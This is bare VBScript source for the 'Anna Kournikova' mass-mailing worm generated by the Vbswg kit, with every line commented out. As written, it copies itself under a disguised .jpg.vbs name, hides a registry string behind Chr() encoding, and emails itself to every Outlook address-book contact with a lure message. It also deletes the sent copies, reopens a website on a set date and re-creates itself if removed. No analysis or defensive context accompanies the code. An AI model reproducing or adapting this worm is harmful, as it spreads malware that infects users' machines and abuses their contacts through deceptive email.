'Vbs.OnTheFly Created By OnTheFly 'On Error Resume Next 'Set E7O3tH65p4P = CreateObject("WScript.Shell") 'E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98) 'Set rOwamTjngb5= Createobject("scripting.filesystemobject") 'rOwamTjngb5.copyfile wscript.scriptfullname,rOwamTjngb5.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" 'if E7O3tH65p4P.regread ("HKCU\software\OnTheFly\mailed") <> "1" then 'e2nSA7HlgLC() 'end if 'if month(now) =1 and day(now) =26 then 'E7O3tH65p4P.run "Http://www.dynabyte.nl",3,false 'end if 'Set JKgSwHK773x= rOwamTjngb5.opentextfile(wscript.scriptfullname, 1) 'ZN5JKZ4xiuV= JKgSwHK773x.readall 'JKgSwHK773x.Close 'Do 'If Not (rOwamTjngb5.fileexists(wscript.scriptfullname)) Then 'Set UeI22z8P4v0= rOwamTjngb5.createtextfile(wscript.scriptfullname, True) 'UeI22z8P4v0.writeZN5JKZ4xiuV 'UeI22z8P4v0.Close 'End If 'Loop 'Function e2nSA7HlgLC() 'On Error Resume Next 'Set D23OvxM6KRH = CreateObject("Outlook.Application") 'If D23OvxM6KRH= "Outlook"Then 'Set j25tNZB9f8l=D23OvxM6KRH.GetNameSpace("MAPI") 'Set S6k211ge33L= j25tNZB9f8l.AddressLists 'For Each JR2mPsM2BmR In S6k211ge33L 'If JR2mPsM2BmR.AddressEntries.Count <> 0 Then 'd4BD3xgwv1J = JR2mPsM2BmR.AddressEntries.Count 'For X789Va3zRez= 1 To d4BD3xgwv1J 'Set iq72b483v3Z = D23OvxM6KRH.CreateItem(0) 'Set OIE4BVYjOJ8 = JR2mPsM2BmR.AddressEntries(X789Va3zRez) 'iq72b483v3Z.To = OIE4BVYjOJ8.Address 'iq72b483v3Z.Subject = "Here you have, ;o)" 'iq72b483v3Z.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & "" 'set fWsnq8YG9f1=iq72b483v3Z.Attachments 'fWsnq8YG9f1.Add rOwamTjngb5.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" 'iq72b483v3Z.DeleteAfterSubmit = True 'If iq72b483v3Z.To <> "" Then 'iq72b483v3Z.Send 'E7O3tH65p4P.regwrite "HKCU\software\OnTheFly\mailed", "1" 'End If 'Next 'End If 'Next 'end if 'End Function 'Vbswg 1.50b